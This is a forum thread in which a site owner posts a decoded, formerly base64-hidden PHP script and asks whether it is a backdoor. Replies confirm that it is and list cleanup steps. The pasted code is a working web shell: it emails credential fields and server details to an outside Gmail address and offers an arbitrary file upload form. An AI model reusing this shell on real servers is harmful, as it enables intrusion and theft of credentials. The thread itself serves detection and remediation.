catherinePHP Posted April 24, 2013 Share Posted April 24, 2013 I found this code which was encrypted in base64 in a php script: $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord: ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP: "; mail("bohr4u@gmail.com","Shell http://$web$inj", "$body"); echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; } else { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; } } ?> I'm not sure if it's a backdoor or not, can anyone clarify please? Quote Link to comment Share on other sites More sharing options...
shlumph Posted April 24, 2013 Share Posted April 24, 2013 Yes, it is a malicious script. It's sending email notifications to them to let them know the script made it onto your site. And then they are using the form to upload files into your server, which are probably malicious. If it was encrypted with base_64, that should be a huge red flag. Quote Link to comment Share on other sites More sharing options...
catherinePHP Posted April 24, 2013 Author Share Posted April 24, 2013 Yes, it is a malicious script. It's sending email notifications to them to let them know the script made it onto your site. And then they are using the form to upload files into your server, which are probably malicious. If it was encrypted with base_64, that should be a huge red flag. Thanks for the quick reply. Quote Link to comment Share on other sites More sharing options...
shlumph Posted April 24, 2013 Share Posted April 24, 2013 I hope you've removed it from your server. I would also look for other base_64 encoded strings on your system(s), analyze all your logs, and find what, if any, files have been uploaded. Quote Link to comment Share on other sites More sharing options...
Psycho Posted April 24, 2013 Share Posted April 24, 2013 And, change all passwords: ftp, database, etc. Quote Link to comment Share on other sites More sharing options...
catherinePHP Posted April 24, 2013 Author Share Posted April 24, 2013 Thanks for the reply guys, I have removed it from my server and changed all passwords Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.